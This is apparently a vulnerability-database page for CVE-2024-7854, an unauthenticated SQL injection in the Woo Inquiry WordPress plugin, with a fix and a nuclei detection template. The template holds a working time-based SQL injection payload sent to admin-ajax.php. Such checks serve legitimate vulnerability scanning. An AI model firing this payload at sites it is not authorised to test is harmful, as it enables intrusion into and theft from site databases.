HexBrain

Browse / CVEs / CVE-2024-7854

CVE-2024-7854· sjhoo / woo inquiry· CWE-89

Woo Inquiry <= 0.1 - SQL Injection

criticalseverity
9.8CVSS score
4.3%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

The Woo Inquiry plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 0.1 due to insufficient escaping on the user supplied parameter 'dbid' and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Unauthenticated attackers can exploit SQL injection to extract, modify, or delete sensitive database information, potentially compromising user credentials and the entire WordPress site.

Fix

Remove or update the Woo Inquiry plugin to a version later than 0.1 that addresses the SQL injection vulnerability in the dbid parameter.

How to confirm it

Send: GET /
Positive when: contains(body,"/wp-content/plugins/woo-inquiry")
Send: @timeout: 20s
Positive when: duration>=6 and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-7854 -u <target>

The full check
id: CVE-2024-7854

info:
  name: Woo Inquiry <= 0.1 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The Woo Inquiry plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 0.1 due to insufficient escaping on the user supplied parameter 'dbid' and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection to extract, modify, or delete sensitive database information, potentially compromising user credentials and the entire WordPress site.
  remediation: |
    Remove or update the Woo Inquiry plugin to a version later than 0.1 that addresses the SQL injection vulnerability in the dbid parameter.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-7854
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/312a6601-c914-4661-82ff-6f8bac849442?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7854
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-7854
    cwe-id: CWE-89
    epss-score: 0.04317
    epss-percentile: 0.91247
    cpe: cpe:2.3:a:sjhoo:woo_inquiry:0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: sjhoo
    product: woo_inquiry
    framework: wordpress
    publicwww-query: "/wp-content/plugins/woo-inquiry"
  tags: time-based-sqli,cve,cve2024,wp,wordpress,wp-plugin,sqli,woo-inquiry,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/woo-inquiry")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=woo_wpinq_times_up&dbid=(SELECT(0)FROM(SELECT(SLEEP(6)))a)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from